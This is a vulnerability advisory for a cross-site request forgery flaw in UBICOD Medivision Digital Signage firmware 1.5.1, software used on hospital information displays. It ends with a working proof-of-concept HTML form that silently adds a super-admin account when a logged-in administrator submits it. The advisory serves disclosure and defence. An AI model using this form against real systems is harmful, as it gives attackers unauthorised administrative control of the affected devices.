UBICOD Medivision Digital Signage 1.5.1 Cross Site Request Forgery

UBICOD Medivision Digital Signage version 1.5.1 suffers from a cross site request forgery vulnerability.

MD5 | 7a013c192f24d703708c97f367a298da


UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin

Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.

Tested on: Apache/2.4.7 (Ubuntu)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2020-5574
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5574.php



<form action="" method="POST">
<input type="hidden" name="aa[_id]" value="" />
<input type="hidden" name="aa[uid]" value="testingus2" />
<input type="hidden" name="aa[name]" value="TestN" />
<input type="hidden" name="aa[pass]" value="123456" />
<input type="hidden" name="aa[email]" value="[email protected]" />
<input type="hidden" name="aa[mobile]" value="111-222-3333" />
<input type="hidden" name="aa[phone]" value="333-222-1111" />
<input type="hidden" name="aa[approval]" value="+" />
<input type="hidden" name="aa[grp]" value="3" />
<input type="hidden" name="od[]" value="name" />
<input type="hidden" name="ip" value="0" />
<input type="hidden" name="np" value="13" />
<input type="submit" value="Submit request" />

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